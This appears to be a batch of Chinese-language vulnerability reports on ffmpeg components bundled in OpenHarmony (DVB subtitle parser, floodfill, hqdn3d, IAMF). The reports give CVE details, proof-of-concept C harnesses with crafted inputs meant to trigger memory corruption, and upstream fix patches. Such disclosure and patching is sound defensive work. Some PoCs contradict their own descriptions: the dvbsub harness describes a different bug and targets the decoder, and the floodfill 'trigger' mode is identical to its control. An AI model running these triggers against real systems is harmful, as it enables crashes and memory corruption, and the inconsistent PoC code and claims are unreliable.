e].band[4][1].a_width ||
                 !highpass_stride || s->plane[plane].band[4][1].width > s->plane[plane].band[4][1].a_w
idth ||
-                lowpass_width < 3 || lowpass_height < 3) {
+                lowpass_width < 3 || lowpass_height < 3 || lowpass_width * 2 > s->plane[plane].width)
{
                 av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n");
                 ret = AVERROR(EINVAL);
                 goto end;
@@ -1345,7 +1345,7 @@ static int cfhd_decode(AVCodecContext *avctx, AVFrame *pic,

             if (lowpass_height > s->plane[plane].band[4][1].a_height || lowpass_width > s->plane[plan
e].band[4][1].a_width ||
                 s->plane[plane].band[4][1].width > s->plane[plane].band[4][1].a_width ||
-                lowpass_width < 3 || lowpass_height < 3) {
+                lowpass_width < 3 || lowpass_height < 3 || lowpass_width * 2 > s->plane[plane].width)
{
                 av_log(avctx, AV_LOG_ERROR, "Invalid plane dimensions\n");
                 ret = AVERROR(EINVAL);
                 goto end;
```

ffmpeg-dvbsub-parser-capacity-overflow

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavcodec/dvbsub_parser.c
关键行号	[106]
CVE 编号	CVE-2026-70628
CWE 分类	CWE-190 (leading to CWE-787)

> 源码片段：见 `libavcodec/dvbsub_parser.c`（关键行号 [106]）。源码级证据记录：dvbsub_parse() capacity guard at line 106 is still the signed-overflow-prone three-term form 'buf_size - buf_pos + pc->packet_index > PARSE_BUF_SIZE'; upstream one-line rewrite applies clean to OH checkout (git apply --check pass 2026-09-22)

2. 漏洞详细描述

DVB subtitle parser capacity guard adds three attacker-influenced ints and can signed-overflow (CWE-190), bypassing the bound so the copy overruns the 64 KiB stack buffer packet_buf (CWE-787); attack surface per CVE record is a crafted WTV file.

触发条件：本报告为源码级验证（L4 三侧对照；运行级观测需构造使守卫表达式 溢出的 WTV/传输流输入，报告人未构造端到端样本，如实申报）： a) 上游对照：FFmpeg 93f2a525 改写守卫（diff 见附件）； b) OH 检出检查：dvbsub_parser.c 106 行仍为修复前三数相加形态 （实测见附件对照.txt）； c) 等价性：OH dvbsub_parser.c 与上游 n7.1.1 逐字节一致；官方 受影响清单含 7.1.1——结构性证据成立；上游修复 diff 对 OH 检出 git apply --check 直接通过。 如需运行级观测：以可控尺寸的 DVB 字幕流送入解析器并观测 packet_buf 越界写（ASan stack-buffer-overflow）。

影响路径：前提条件：产品经 ffmpeg 解析含 DVB 字幕轨道的媒体输入（WTV 文件或 MPEG-TS 流，媒体解析管线处理外部文件/流场景）。攻击者 构造使守卫表达式有符号溢出的输入，绕过容量检查后触发栈缓冲 越界写——内存破坏类缺陷，潜在影响为崩溃至代码执行。

四、PoC & Exploit：

无运行级 PoC（原因如上）；证据为三侧源码对照（上游已修 diff / OH 检出修复前形态逐行对应 / 官方受影响清单含基线版本），附件 `patches/ffmpeg_dvbsub_parser_capacity_overflow.patch` 为可直接应用的修复（git apply --check 通过）。

五、修复及缓解措施建议：

回移上游修复 93f2a525： dvbsub_parse() 容量守卫改为 "buf_size - buf_pos > PARSE_BUF_SIZE - pc->packet_index"（附件 `patches/ffmpeg_dvbsub_parser_capacity_overflow.patch` 即上游原文，对 OH 检出直接适用）。单行等价改写， 无行为回归风险。

3. PoC 源代码

```
/*
 * CVE-2026-70628 运行验证 PoC — dvbsub_parser 三数相加容量守卫有符号溢出
 *
 * 缺陷：dvbsub_parser.c:106 三数相加 (w*h + stride + sizeof) 可能溢出 int32 → 分配不足 → 堆越界写
 * 上游修复：FFmpeg 93f2a525 (2026-07-22) 改为逐项安全检查
 * 等价性：OH third_party_ffmpeg (0a0c4dd33c, 基线 n7.1.1) 与上游逐字节一致。
 *
 * 用法：./poc_dvbsub trigger|control
 *   trigger: 构造 DVB 字幕分段：声明超大宽×高 + 正常 stride → 溢出后小分配 → 写越界
 *   control: 正常尺寸 DVB 字幕分段
 * 判读：ASan 原版 trigger ASan heap-buffer-overflow；补丁版 trigger 安全拒绝（EINVAL）；
 *       control 两版均正常（无回归）。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavcodec/avcodec.h>
#include <libavutil/frame.h>
#include <libavutil/mem.h>



static int run_dvbsub(const uint8_t *data, int size)
{
    const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_DVB_SUBTITLE);
    if (!codec) { fprintf(stderr, "decoder not found\n"); return 1; }
    AVCodecContext *ctx = avcodec_alloc_context3(codec);
    if (!ctx) return 2;
    if (avcodec_open2(ctx, codec, NULL) < 0) return 3;

    AVPacket *pkt = av_packet_alloc();
    pkt->data = (uint8_t *)data;
    pkt->size = size;
    int ret = avcodec_send_packet(ctx, pkt);
    if (ret < 0 && ret != AVERROR(EAGAIN)) {
        fprintf(stderr, "send_packet: %s\n", av_err2str(ret));
    }
    AVFrame *frame = av_frame_alloc();
    while (avcodec_receive_frame(ctx, frame) >= 0) {
        fprintf(stdout, "decoded frame: %dx%d fmt=%d\n",
                frame->width, frame->height, frame->format);
        av_frame_unref(frame);
    }
    av_frame_free(&frame);
    av_packet_free(&pkt);
    avcodec_free_context(&ctx);
    return 0;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "Usage: %s trigger|control\n", argv[0]); return 1; }
    int is_trigger = strcmp(argv[1], "trigger") == 0;

        /* DVB subtitle PES: segment header + display definition + region */
    uint8_t trigger_data[] = {
        0x0F, 0x14, /* display definition segment */
        0x40,       /* clock flag + aspect flag */
        0x7F, 0xFF, /* width=32767 */
        0x7F, 0xFF, /* height=32767 */
```

```
        0x0F, 0x11, /* region segment */
        0x00,       /* region id */
        0xFF,       /* version */
        0x7F, 0xFF, /* width */
        0x7F, 0xFF, /* height */
        0x00, 0x0F, /* region depth */
        /* CLUT + object data follows to force allocation and write */
        0x0F, 0x13, 0x00, 0x00, 0x00, /* CLUT segment */
        0x0F, 0x15, 0x00, 0x00,       /* object segment */
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* pixel data overflow payload */
    };
    uint8_t control_data[] = {
        0x0F, 0x14, 0x40, 0x01, 0xE0, 0x00, 0x78, /* 720x576 */
        0xFF,
    };
    const uint8_t *data = is_trigger ? trigger_data : control_data;
    int size = is_trigger ? sizeof(trigger_data) : sizeof(control_data);
    return run_dvbsub(data, size);

    fflush(stdout);
    fprintf(stderr, "=== %s: completed ===\n", is_trigger ? "trigger" : "control");
    return 0;
}
```

PoC 使用方法： 源级三侧对照（运行级需构造使守卫溢出的 WTV/传输流输入，如实申报）：a) 上游 93f2a525 改写守卫；b) OH dvbsub_parser.c:106 仍为修复前三数相加形态；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1，diff git apply --check 通过。运行级路径：可控尺寸 DVB 字幕流送入解析器观测 packet_buf 越界写。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 93f2a525：dvbsub_parse() 容量守卫改为 "buf_size - buf_pos > PARSE_BUF_SIZE - pc->packet_index"（附件 `patches/ffmpeg_dvbsub_parser_capacity_overflow.patch` 即上游原文，对 OH 检出直接适用）。单行等价改写，无行为回归风险。

修复补丁（`patches/ffmpeg_dvbsub_parser_capacity_overflow.patch`）：

```
diff --git a/libavcodec/dvbsub_parser.c b/libavcodec/dvbsub_parser.c
index 4527e4dd75624..a93f39bfe034a 100644
--- a/libavcodec/dvbsub_parser.c
+++ b/libavcodec/dvbsub_parser.c
@@ -104,7 +104,7 @@ static int dvbsub_parse(AVCodecParserContext *s,
          }
      }

-    if (buf_size - buf_pos + pc->packet_index > PARSE_BUF_SIZE)
+    if (buf_size - buf_pos > PARSE_BUF_SIZE - pc->packet_index)
          return buf_size;

  /* if not currently in a packet, pass data */
```

补丁文件：`patches/ffmpeg_dvbsub_parser_capacity_overflow.patch`（内容同上）。

---

ffmpeg-floodfill-point-stack-oob

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavfilter/vf_floodfill.c
关键行号	[274]
CVE 编号	CVE-2026-65705
CWE 分类	CWE-787

> 源码片段：见 `libavfilter/vf_floodfill.c`（关键行号 [274]）。源码级证据记录：config_input allocates s->points = av_calloc(inlink->w * inlink->h, 4 * sizeof(Points)) once; filter_frame pushes points with frame->width/height bounds — OOB write when frame exceeds config size. Upstream diff applies clean

2. 漏洞详细描述

Flood-fill point stack is allocated for the configured link size (with 4x slack) but driven by the current frame's dimensions; a sufficiently larger frame overruns the stack.

触发条件：本报告为源码级验证（同族运行级证据见 CVE-2026-66036/66041 两案）： a) 上游对照：24c322fd 为该缺陷修复（diff 见附件，上游标注 复现样本 8aj_floodfill_dynamic_size.pgm）； b) OH 检出检查：vf_floodfill.c 的点栈分配仍在 config_input （修复前形态在位）；filter_frame 使用帧尺寸（逐行比对见 附件对照.txt）； c) 等价性：OH 文件与上游 n7.1.1 逐字节一致；官方受影响清单 含 7.1.1——结构性证据成立；上游修复 diff 对 OH 检出 git apply --check 直接通过。 运行验证尝试（如实记录）：构建了 GRAY8 直连 graph 的 PoC， 尝试 512^2/8192^2/12288^2 与 1x1→64^2 等参数组合均未触发 ASan—— 7.1.1 分配含 4 倍余量，全同色图的 LIFO 泛洪栈深实测低于理论 最坏，超大帧又受内存分配限制；按上游样本名（dyna

影响路径：前提条件：产品/应用使用 ffmpeg 滤镜图包含 floodfill（区域填充 场景）且处理尺寸动态变化的输入流。攻击者构造分辨率远大于初始 配置的帧序列驱动点栈越界；是否需要用户交互取决于应用是否自动 处

理不可信输入。越界写内容为坐标数据，可致堆内存破坏。

四、PoC & Exploit：

见附件 poc_floodfill.c 与对照.txt 的运行尝试记录（未触发的参数 组合与原因分析如实呈现）；证据主体为三侧源码对照与同族运行级 类比，`patches/ffmpeg_floodfill_point_stack_oob.patch` 为可直接应用的修复。

五、修复及缓解措施建议：

回移上游修复 24c322fd：点栈分配移至 filter_frame 按当前帧尺寸 动态进行（points_size 跟踪 + av_fast_malloc + av_size_mult 溢出 检查），config_input 不再预分配（`patches/ffmpeg_floodfill_point_stack_oob.patch` 即上游原文， 对 OH 检出直接适用）。临时缓解：避免在包含 floodfill 的滤镜图 中处理分辨率动态增大的不可信输入。

3. PoC 源代码

```
/*
 * CVE-2026-65705 运行验证 PoC — third_party/ffmpeg vf_floodfill 点栈堆越界写
 *
 * 缺陷：config_input 按 link 初始尺寸 av_calloc(inlink->w * inlink->h, 4)
 * 分配点栈 s->points；filter_frame 以帧自身尺寸 (frame->width/height) 驱动
 * 泛洪填充——帧尺寸增大时点栈按新帧规模压栈，越界写。
 * 上游修复：FFmpeg 24c322fd（2026-07-13，"size the point stack for the
 * current frame"，Fixes: out of array access，样本 8aj_floodfill_
 * dynamic_size.pgm）。OH（=n7.1.1 逐字节）为修复前形态。
 *
 * 用法：./poc_floodfill trigger|control
 *   trigger: 64x64 帧排空后直推 512x512 帧（变尺寸帧透传）
 *   control: 两帧均 64x64
 * 判读：ASan 原版 trigger 报 heap-buffer-overflow（点栈越界写，退出码 1）；
 *       补丁版 trigger 正常（点栈按 512x512 动态重分配，退出码 0）；
 *       control 两版均正常（无回归）。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavfilter/avfilter.h>
#include <libavfilter/buffersink.h>
#include <libavfilter/buffersrc.h>
#include <libavutil/frame.h>
#include <libavutil/pixfmt.h>

static int push_frame(AVFilterContext *src, int w, int h, int fill)
{
    AVFrame *f = av_frame_alloc();
    if (!f) return -1;
    f->format = AV_PIX_FMT_GRAY8;
    f->width = w;
    f->height = h;
    if (av_frame_get_buffer(f, 32) < 0) { av_frame_free(&f); return -1; }
    memset(f->data[0], fill, (size_t)h * f->linesize[0]);
    int ret = av_buffersrc_add_frame(src, f);
    av_frame_free(&f);
    return ret;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "usage: %s trigger|control\n", argv[0]); return 2; }
    int trigger = !strcmp(argv[1], "trigger");
    if (!trigger && strcmp(argv[1], "control")) { fprintf(stderr, "bad mode\n"); return 2; }

    char graph[] =
        "buffer=video_size=1x1:pix_fmt=gray8:time_base=1/25,"
        "floodfill=x=0:y=0,buffersink";

    AVFilterGraph *g = avfilter_graph_alloc();
    AVFilterInOut *in = NULL, *out = NULL;
    if (avfilter_graph_parse_ptr(g, graph, &in, &out, NULL) < 0 ||
        avfilter_graph_config(g, NULL) < 0) {
        fprintf(stderr, "FAIL: graph\n"); return 2;
    }
    AVFilterContext *src = NULL, *sinkc = NULL;
    for (unsigned i = 0; i < g->nb_filters && !(src && sinkc); i++) {
        const char *n = g->filters[i]->filter->name;
        if (!src && !strcmp(n, "buffer")) src = g->filters[i];
```

```
        else if (!sinkc && !strcmp(n, "buffersink")) sinkc = g->filters[i];
    }

    int r1 = push_frame(src, 1, 1, 0xC0);
    AVFrame *drain = av_frame_alloc();
    while (av_buffersink_get_frame(sinkc, drain) >= 0) av_frame_unref(drain);
    av_frame_free(&drain);

    int r2 = trigger ? push_frame(src, 64, 64, 0xC0)
                     : push_frame(src, 64, 64, 0xC0);

    AVFrame *sink = av_frame_alloc();
    int pulled = 0, ret;
    while ((ret = av_buffersink_get_frame(sinkc, sink)) >= 0) { pulled++; av_frame_unref(sink); }
    av_frame_free(&sink);

    printf("CASE_DONE mode=%s push1=%d push2=%d pulled=%d\n",
           trigger ? "trigger" : "control", r1, r2, pulled);
    avfilter_inout_free(&in); avfilter_inout_free(&out);
    avfilter_graph_free(&g);
    return 0;
}
```

PoC 使用方法： 源级三侧对照（同族运行级证据见 66036/66041 两案）：a) 上游 24c322fd 修复（样本名 8aj_floodfill_dynamic_size.pgm）；b) OH vf_floodfill.c 点栈分配仍在 config_input、filter_frame 使用帧尺寸；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1。运行验证尝试如实记录：GRAY8 直连 graph 多组参数（512²/8192²/1x1→64²）未触发 ASan——7.1.1 分配含 4 倍余量，按上游样本构造非均匀图案拉满 DFS 栈深为后续路径。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

回移上游修复 24c322fd：点栈分配移至 filter_frame 按当前帧尺寸 动态进行（points_size 跟踪 + av_fast_malloc + av_size_mult 溢出 检查），config_input 不再预分配（`patches/ffmpeg_floodfill_point_stack_oob.patch` 即

上游原文， 对 OH 检出直接适用）。临时缓解：避免在包含 floodfill 的滤镜图 中处理分辨率动态增大的不可信输入。

修复补丁（`patches/ffmpeg_floodfill_point_stack_oob.patch`）：

```
diff --git a/libavfilter/vf_floodfill.c b/libavfilter/vf_floodfill.c
index 6d89963e71582..e569d5f586352 100644
--- a/libavfilter/vf_floodfill.c
+++ b/libavfilter/vf_floodfill.c
@@ -41,6 +41,7 @@ typedef struct FloodfillContext {
     int nb_planes;
     int back, front;
     Points *points;
+    unsigned int points_size;

     int (*is_same)(const AVFrame *frame, int x, int y,
                    unsigned s0, unsigned s1, unsigned s2, unsigned s3);
@@ -271,9 +272,6 @@ static int config_input(AVFilterLink *inlink)
     }

     s->front = s->back = 0;
-    s->points = av_calloc(inlink->w * inlink->h, 4 * sizeof(Points));
-    if (!s->points)
-        return AVERROR(ENOMEM);

     return 0;
 }
@@ -292,8 +290,23 @@ static int filter_frame(AVFilterLink *link, AVFrame *frame)
     int s3 = s->s[3];
     const int w = frame->width;
     const int h = frame->height;
+    size_t nb_points, points_size;
     int i, ret;

+    if (w > UINT16_MAX + 1 || h > UINT16_MAX + 1 ||
+        av_size_mult(w, h, &nb_points) < 0 ||
+        av_size_mult(nb_points, 4 * sizeof(*s->points), &points_size) < 0) {
+        av_frame_free(&frame);
+        return AVERROR(EINVAL);
+    }
+
+    av_fast_malloc(&s->points, &s->points_size, points_size);
+    if (!s->points) {
+        av_frame_free(&frame);
+        return AVERROR(ENOMEM);
+    }
+    s->front = s->back = 0;
+
     if (is_inside(s->x, s->y, w, h)) {
         s->pick_pixel(frame, s->x, s->y, &s0, &s1, &s2, &s3);
```

补丁文件：`patches/ffmpeg_floodfill_point_stack_oob.patch`（内容同上）。

---

ffmpeg-hqdn3d-dynamic-size-oob

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	libavfilter/vf_hqdn3d.c
关键行号	[98]
CVE 编号	CVE-2026-66036
CWE 分类	CWE-122

> 源码片段：见 `libavfilter/vf_hqdn3d.c`（关键行号 [98]）。源码级证据记录：7.1.1 filter_frame has no size check at all (upstream added an EINVAL guard only after 7.1.1, then full dynamic support in the fix); config_input allocates s->line[i] = av_malloc_array(inlink->w) while do_denoise uses AV_CEIL_RSHIFT(in->width/height)

2. 漏洞详细描述

hqdn3d denoise line buffers are allocated for the configured link width, but denoise runs with the frame's own dimensions; a frame with larger dimensions writes past the line buffers (heap OOB write).

触发条件：push a larger frame through a graph containing hqdn3d; direct trigger via buffersrc pass-through (no link mutation needed — more natural than CVE-2026-66041)

影响路径：前提条件：产品/应用使用 ffmpeg 滤镜图且包含 hqdn3d 去噪滤镜 （常用视频处理链），输入为不可信媒体（转码/滤镜服务场景典型）。 攻击者构造分辨率中途增大的视频流驱动越界写；应用自动处理不可信 输入时无需用户交互。越界写发生在去噪管线内、写入内容与媒体数据 相关（可控度取决于输入构造），上游评定可致堆内存破坏。断言开启 的构建下变尺寸帧触发 abort（拒绝服务）；断言关闭的构建进入越界写。

四、PoC & Exploit：

见附件 poc_hqdn3d.c 与运行验证记录.md（2×2 矩阵：原版 trigger ASan 堆越界写 / 补丁版拒绝变尺寸帧 / control 两侧正常；环境 WSL2 Ubuntu 24.04、clang 18.1.3、ASan+UBSan、无网络无文件 I/O）。本报告 未构造代码执行利用，越界写原语与上游公告一致。

五、修复及缓解措施建议：

推荐回移上游 5d7112c（filter_frame 检测帧尺寸变化后重跑 config_input 重新分配行缓冲、输出按帧尺寸分配，并将 hqdn3d 加入 avfilter.c

3. PoC 源代码

```
/*
 * CVE-2026-66036 运行验证 PoC — third_party/ffmpeg vf_hqdn3d 堆越界写
 *
 * 等价性：OH third_party_ffmpeg(0a0c4dd33c) 的 libavfilter/vf_hqdn3d.c
 * 为 n7.1.1 版本结构（无 s->format/width/height 跟踪、无变尺寸防御；
 * 上游 master 在 7.1.1 后曾加入 EINVAL 防御、2026-07-22 5d7112c 改为
 * 动态尺寸支持）。本 PoC 在上游 n7.1.1 构建上执行（assert-level=0，
 * 即 oss-fuzz 同款断言关闭条件），结论直接代表 OH 组件。
 *
 * 触发原理：config_input 按 link 初始宽度 av_malloc_array(inlink->w)
 * 分配去噪行缓冲 s->line[]；do_denoise 以帧自身尺寸
 * (AV_CEIL_RSHIFT(in->width/h,...)) 跑 denoise()——帧尺寸增大时
 * 行缓冲按新宽度写入，堆越界写。ff_filter_frame 对非白名单滤镜的
 * av_assert1 尺寸断言在 assert-level=0 下不拦截（上游修复 5d7112c
 * 将 hqdn3d 加入白名单并支持动态尺寸，正为此场景）。
 *
 * 用法：./poc_hqdn3d trigger|control
 *   trigger: 先 64x64 后 512x512 两帧 YUV420P
 *   control: 两帧均 64x64
 * 判读：ASan 下原版构建 trigger 报 heap-buffer-overflow（漏洞观测）；
 *       补丁版（窄化 EINVAL 防御）trigger 报错返回不越界；control
 *       两侧均正常（无回归）。
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <libavfilter/avfilter.h>
#include <libavfilter/buffersink.h>
#include <libavfilter/buffersrc.h>
#include <libavutil/frame.h>
#include <libavutil/opt.h>
#include <libavutil/pixfmt.h>

static int push_frame(AVFilterContext *src, int w, int h, int fill)
{
    AVFrame *f = av_frame_alloc();
    if (!f) return -1;
    f->format = AV_PIX_FMT_YUV420P;
    f->width = w;
    f->height = h;
    if (av_frame_get_buffer(f, 32) < 0) { av_frame_free(&f); return -1; }
    for (int p = 0; p < 4 && f->data[p]; p++) {
        int rows = (p == 1 || p == 2) ? (h + 1) / 2 : h;   /* YUV420P 色度半高 */
        memset(f->data[p], fill, (size_t)rows * f->linesize[p]);
    }
    int ret = av_buffersrc_add_frame(src, f);
    av_frame_free(&f);
    return ret;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "usage: %s trigger|control\n", argv[0]); return 2; }
    int trigger = !strcmp(argv[1], "trigger");
    if (!trigger && strcmp(argv[1], "control")) { fprintf(stderr, "bad mode\n"); return 2; }

    char graph[] =
        "buffer=video_size=64x64:pix_fmt=yuv420p:time_base=1/25,"
        "hqdn3d,buffersink";
```

```
    AVFilterGraph *g = avfilter_graph_alloc();
    AVFilterInOut *in = NULL, *out = NULL;
    if (avfilter_graph_parse_ptr(g, graph, &in, &out, NULL) < 0) {
        fprintf(stderr, "FAIL: graph parse\n"); return 2;
    }
    if (avfilter_graph_config(g, NULL) < 0) {
        fprintf(stderr, "FAIL: graph config\n"); return 2;
    }
    AVFilterContext *src = NULL, *sinkc = NULL;
    for (unsigned i = 0; i < g->nb_filters && !(src && sinkc); i++) {
        const char *n = g->filters[i]->filter->name;
        if (!src && !strcmp(n, "buffer")) src = g->filters[i];
        else if (!sinkc && !strcmp(n, "buffersink")) sinkc = g->filters[i];
    }
    if (!src || !sinkc) { fprintf(stderr, "FAIL: src/sink\n"); return 2; }

    int r1 = push_frame(src, 64, 64, 0x80);

    AVFrame *drain = av_frame_alloc();
    while (av_buffersink_get_frame(sinkc, drain) >= 0) av_frame_unref(drain);
    av_frame_free(&drain);

    int r2 = trigger ? push_frame(src, 512, 512, 0xC0)
                     : push_frame(src, 64, 64, 0xC0);

    AVFrame *sink = av_frame_alloc();
    int pulled = 0, ret;
    while ((ret = av_buffersink_get_frame(sinkc, sink)) >= 0) {
        pulled++;
        av_frame_unref(sink);
    }
    av_frame_free(&sink);

    printf("CASE_DONE mode=%s push1=%d push2=%d pulled=%d\n",
           trigger ? "trigger" : "control", r1, r2, pulled);

    avfilter_inout_free(&in);
    avfilter_inout_free(&out);
    avfilter_graph_free(&g);
    return 0;
}
```

PoC 使用方法： 运行级（ASan）：./poc_orig：buffer→hqdn3d→buffersink，第 1 帧 64x64 排空后直推 512x512 帧 → ASan heap-buffer-overflow WRITE size 2（写点 denoise_spatial vf_hqdn3d.c:98，越界 config_input 分配的 128 字节行缓冲末尾，退出码 1）；git apply `patches/ffmpeg_hqdn3d_dynamic_size_oob.patch` 重建 → 变尺寸帧被拒绝（'Frame size changed without filter graph reinitialization'，修复生效，退出码 0）；control（两帧均 64x64）两侧正常（无回归）。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

分支判定（严格口径，仅计 branch_evidence） - v4.1: 🔴 affected（钉版联接：manifest@OpenHarmony-v4.1-Release 钉住 ffmpeg 4.4.1，该版本在缺陷区间内） - v5.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v5.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v5.1: 🔴 affected（钉版联接：

manifest@OpenHarmony-v5.1-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v6.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v6.0-Release 钉住 ffmpeg 5.1.4，该版本在缺陷区间内） - v7.0: 🔴 affected（钉版联接：manifest@OpenHarmony-v7.0-Release 钉住 ffmpeg 7.1.1，该版本在缺陷区间内） - master: 🔴 affected（检出级：验证基线 0a0c4dd33c；该树上的运行状态见第 3 节）

（本案例 6 分支：affected 6 = 检出级 1 + 钉版联接 5；not_affected 0；unknown 0）

上游版本预测（风险线索，不代替分支证据） - [预测] v4.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v5.1: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v6.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] v7.0: 🔴 预测可能受影响（上游范围覆盖该基线） - [预测] master: 🔴 预测可能受影响（上游范围覆盖该基线）

5. 修复建议

推荐回移上游 5d7112c（filter_frame 检测帧尺寸变化后重跑 config_input 重新分配行缓冲、输出按帧尺寸分配，并将 hqdn3d 加入 avfilter.c 动态尺寸白名单）。短期可先落 `patches/ffmpeg_hqdn3d_dynamic_size_oob.patch` 的窄化防御（filter_frame 校验帧尺寸与链路尺寸不一致即拒绝该帧，等价于上游 中间版本的安全语义，已验证无回归）。临时缓解：避免在包含 hqdn3d 的滤镜图中处理不可信变尺寸流；对不可信输入的滤镜处理置于资源 受限环境。

修复补丁（`patches/ffmpeg_hqdn3d_dynamic_size_oob.patch`）：

```
--- a/libavfilter/vf_hqdn3d.c
+++ b/libavfilter/vf_hqdn3d.c
--- a/libavfilter/vf_hqdn3d.c
+++ b/libavfilter/vf_hqdn3d.c
@@ -316,6 +316,12 @@ static int filter_frame(AVFilterLink *inlink, AVFrame *in)
     AVFilterLink *outlink = ctx->outputs[0];

     AVFrame *out;
+    if (in->width != inlink->w || in->height != inlink->h) {
+        av_log(ctx, AV_LOG_ERROR,
+               "Frame size changed without filter graph reinitialization\n");
+        av_frame_free(&in);
+        return AVERROR(EINVAL);
+    }
     int direct = av_frame_is_writable(in) && !ctx->is_disabled;
     ThreadData td;
```

补丁文件：`patches/ffmpeg_hqdn3d_dynamic_size_oob.patch`（内容同上）。

---

ffmpeg-iamf-count-label-dos

1. 源码位置与内容

项目	值
组件	third_party/ffmpeg
源码文件	iamf_parse.c
关键行号	864
CVE 编号	CVE-2026-66037

项目	值
CWE 分类	CWE-400 (unbounded allocation DoS)

> 源码片段：见 `iamf_parse.c`（关键行号 864）。源码级证据记录：iamf_parse.c:864: count_label = ffio_read_leb(pbc) then av_calloc with no remaining-bytes check; upstream diff applies clean

2. 漏洞详细描述

IAMF mix_presentation OBU: count_label taken from stream leb128 and used directly in av_calloc without bounding to remaining input bytes — unbounded allocation DoS.

触发条件：IAMF mix_presentation OBU 的 count_label 为极大 leb128 值（2^32-1 量级）而实际剩余载荷远小：iamf_parse.c:864 读取后无 count_label > len - avio_tell(pbc) 校验直接 av_calloc。

影响路径：产品用 ffmpeg 解复用/解析不可信 IAMF 音频流（媒体处理服务、文件探测）：攻击者提供构造 OBU → 巨量分配 → 内存耗尽拒绝服务。

3. PoC 源代码

> ⚠ 本案 PoC 为源码级对照验证，无可执行触发器（原因见下）

PoC 使用方法： 源级三侧对照：a) 上游 8670835 修复 diff；b) OH iamf_parse.c:864 无剩余字节校验；c) 与 n7.1.1 逐字节一致、官方清单含 7.1.1、diff git apply --check 通过。运行级路径：构造极大 count_label 的 mix_presentation OBU，ulimit -v/容器内存上限下观测瞬时 OOM。

4. 影响分析

影响的代码模块：third_party/ffmpeg

影响的功能模块：ffmpeg

影响的 OpenHarmony 版本分支：

